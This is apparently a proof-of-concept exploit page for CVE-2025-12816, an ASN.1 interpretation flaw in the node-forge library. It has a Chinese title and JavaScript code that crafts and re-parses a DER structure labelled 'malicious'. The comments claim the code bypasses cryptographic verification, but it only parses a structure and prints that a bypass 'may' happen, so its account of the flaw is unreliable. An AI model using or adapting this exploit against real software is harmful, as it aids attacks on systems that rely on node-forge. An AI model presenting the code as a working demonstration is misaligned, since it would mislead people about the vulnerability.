CVE-2025-12816 node-forge ASN.1解释冲突漏洞

const forge = require('node-forge'); // CVE-2025-12816 PoC - ASN.1 Interpretation Conflict // Craft malicious ASN.1 structure to desynchronize schema validation function createMaliciousASN1() { const asn1 = forge.asn1; // Create a sequence that can be interpreted two ways // This exploits the schema validation desynchronization const maliciousSequence = asn1.create(asn1.Type.SEQUENCE, true, [ asn1.create(asn1.Type.BITSTRING, false, [ asn1.create(asn1.Type.INTEGER, false, forge.util.bytesToHex('00')) ]), asn1.create(asn1.Type.OCTETSTRING, false, 'malicious_data') ]); return asn1.toDer(maliciousSequence).getBytes(); } function exploitValidation() { const derBytes = createMaliciousASN1(); const asn1 = forge.asn1; try { // This may pass validation but have different semantic meaning const decoded = asn1.fromDer(derBytes); // Bypass downstream cryptographic verification console.log('ASN.1 parsed successfully - validation may be bypassed'); console.log('Decoded structure:', decoded); // The attacker can now inject malicious data that passes basic checks // but fails semantic validation in downstream security checks return decoded; } catch (e) { console.log('Parse error:', e.message); } } exploitValidation();